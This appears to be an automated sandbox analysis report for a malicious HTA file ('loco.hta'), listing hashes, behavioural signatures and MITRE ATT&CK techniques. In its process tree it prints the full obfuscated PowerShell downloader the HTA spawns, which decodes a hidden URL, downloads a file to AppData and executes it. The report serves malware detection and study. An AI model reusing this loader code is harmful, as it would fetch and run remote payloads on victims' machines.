19ef64886918d56e1492d010d949d71d5a028d6bc10ed0eee90fc141e491eff3

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
07-05-2024 08:52

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General

Target

07052024_0852_loco.hta
Size

10KB
MD5

9da72d990f0df4b01314b03d824ca97c
SHA1

97166c7480ff92b62469c7eb00390ae294c52fc4
SHA256

19ef64886918d56e1492d010d949d71d5a028d6bc10ed0eee90fc141e491eff3
SHA512

c61957008dcc7bb4fb8555f5fba726a0ce194e6b8692a8f7613977c5526ae8af09510b990e6c600f8e86e97d85c5d72d27a0dd3e55540969f637936f5e3dca78
SSDEEP

192:+oTPT8cVkmolsIqZAsAsIqxEMTPgdlsIqTEbLzpIHuFqbubzAvu2/kKgnkBUR/Uv:N7T8Ykmo6LF7gd6iLzprKgkBU1Uo5NEf

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2112	powershell.exe
6	2112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2112	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2112	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1244 wrote to memory of 2112	1244	mshta.exe	28
PID 1244 wrote to memory of 2112	1244	mshta.exe	28
PID 1244 wrote to memory of 2112	1244	mshta.exe	28
PID 1244 wrote to memory of 2112	1244	mshta.exe	28

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\07052024_0852_loco.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function lZXTF($MqxHxcIwZRg, $fMGMwSEz){[IO.File]::WriteAllBytes($MqxHxcIwZRg, $fMGMwSEz)};function cQjjTlSPNjckyoDbV($MqxHxcIwZRg){if($MqxHxcIwZRg.EndsWith((rDpQCbMTIHrJEESV @(37059,37113,37121,37121))) -eq $True){rundll32.exe $MqxHxcIwZRg }elseif($MqxHxcIwZRg.EndsWith((rDpQCbMTIHrJEESV @(37059,37125,37128,37062))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $MqxHxcIwZRg}elseif($MqxHxcIwZRg.EndsWith((rDpQCbMTIHrJEESV @(37059,37122,37128,37118))) -eq $True){misexec /qn /i $MqxHxcIwZRg}else{Start-Process $MqxHxcIwZRg}};function YqocGdWfMuMwhiqJf($qFOOjapXQLebGJeJ){$OaxOyPNhKDHOQmaQieN = New-Object (rDpQCbMTIHrJEESV @(37091,37114,37129,37059,37100,37114,37111,37080,37121,37118,37114,37123,37129));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$fMGMwSEz = $OaxOyPNhKDHOQmaQieN.DownloadData($qFOOjapXQLebGJeJ);return $fMGMwSEz};function rDpQCbMTIHrJEESV($zDGp){$QzFqSsEGlhm=37013;$SHsugb=$Null;foreach($rhEfSaHelNsbvfGI in $zDGp){$SHsugb+=[char]($rhEfSaHelNsbvfGI-$QzFqSsEGlhm)};return $SHsugb};function lhPsZvpGwWhdT(){$SXnxmHWBJ = $env:AppData + '\';$VkozC = $SXnxmHWBJ + 'loco.bat'; if (Test-Path -Path $VkozC){cQjjTlSPNjckyoDbV $VkozC;}Else{ $STrXWIbiRPl = YqocGdWfMuMwhiqJf (rDpQCbMTIHrJEESV @(37117,37129,37129,37125,37128,37071,37060,37060,37115,37118,37113,37114,37121,37118,37129,37134,37058,37115,37121,37124,37124,37127,37118,37123,37116,37118,37123,37112,37059,37112,37124,37122,37060,37121,37124,37112,37124,37059,37111,37110,37129));lZXTF $VkozC $STrXWIbiRPl;cQjjTlSPNjckyoDbV $VkozC;};;;;}lhPsZvpGwWhdT;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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